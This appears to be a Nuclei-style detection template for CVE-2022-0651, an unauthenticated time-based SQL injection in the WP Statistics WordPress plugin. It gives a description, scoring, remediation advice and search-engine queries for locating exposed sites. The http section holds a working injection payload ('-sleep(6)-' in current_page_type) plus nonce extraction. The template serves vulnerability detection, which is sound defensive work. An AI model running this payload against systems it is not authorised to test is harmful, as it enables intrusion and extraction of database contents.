id: CVE-2022-0651

info:
  name: WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_type parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
  impact: |
    Unauthenticated attackers can exploit time-based blind SQL injection to extract sensitive database contents including user credentials and statistics data.
  remediation: Update wp-statistics plugin to version 13.1.6, or newer.
  reference:
    - https://wordpress.org/plugins/wp-statistics/
    - https://gist.github.com/Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0651
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2679983%40wp-statistics&new=2679983%40wp-statistics&sfp_email=&sfph_mail=
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0651
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-0651
    cwe-id: CWE-89
    epss-score: 0.3298
    epss-percentile: 0.98139
    cpe: cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: veronalabs
    product: wp_statistics
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-statistics/
    fofa-query: body=/wp-content/plugins/wp-statistics/
    publicwww-query: /wp-content/plugins/wp-statistics/
    google-query: inurl:/wp-content/plugins/wp-statistics
  tags: time-based-sqli,cve,cve2022,sqli,wp,wordpress,wp-plugin,wp-statistics,veronalabs,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce={{nonce}}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home'-sleep(6)-'&current_page_id=0&search_query&page_uri=/&user_id=0 HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "application/json")
          - contains(body, 'Visitor Hit was recorded successfully')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '_wpnonce=([0-9a-zA-Z]+)'
        internal: true
# digest: 490a00463044022078d9d0d815d393d82ceb25ceb1de33abd791157282235ff4ec05ce4b37625a1e022002399cc2cd749f1ae098bd960444bc1b9663a566fb13ad97d825b064583871d1:922c64590222798bb761d5b6d8e72950